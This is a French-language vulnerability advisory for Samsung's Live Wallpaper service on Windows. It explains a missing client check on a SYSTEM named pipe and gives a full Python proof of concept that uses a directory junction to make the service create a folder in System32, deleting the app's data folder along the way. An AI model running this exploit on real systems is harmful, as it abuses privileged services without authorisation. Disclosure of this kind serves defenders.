
Un contrôle d'accès inapproprié dans LiveWallpaperService avant les versions 3.0.9.0 permet de créer un répertoire système nommé spécifique sans une permission appropriée.
Version Windows testée : Windows 10 20H2 (Build 19042.1348) 64 bits
Version de Live Wallpaper : 3.0.9.0 ou antérieure
Il existe un service LiveWallpaperService qui fonctionne par défaut sur les ordinateurs portables Samsung, mais il y avait une vulnérabilité qui créait le répertoire SYSTEM dans un répertoire avec les privilèges SYSTEM au sein du service SYSTEM.
Live Wallpaper est généralement installé par défaut sur les ordinateurs portables Samsung, mais c'est aussi une application disponible sur le Microsoft Store. L'application peut être exécutée avec les autorisations de l'utilisateur et communique entre le serveur et le client via Named PIPE IPC. À ce moment, le serveur PIPE fonctionne avec les privilèges SYSTEM et ne vérifie pas quels sont les clients.
Voici le processus opérationnel effectué lorsque l'application correspondante est lancée.
Le serveur, après avoir reçu la chaîne unicode '33;', accède au dossier 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' et vérifie l'existence du répertoire LiveWallpaperData. Un nouveau répertoire du système de fichiers est créé dans le dossier avec le nom 'LiveWallpaperData'.
Named PIPE est utilisé pour la communication entre processus. Comme il n'y a pas d'inspection distincte du client, l'attaquant peut l'ouvrir directement et envoyer les données souhaitées.
D'abord, après avoir ouvert directement le Named PIPE, créez une jonction de répertoire vers C:\Windows\System32 en utilisant symboliclink-testing-tools produit par james forshaw. Il est créé en tant que sous-répertoire du dossier System32 avec des privilèges.
Voici le PoC pour cette vulnérabilité.
Pour exécuter le PoC, les conditions suivantes doivent être remplies :
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()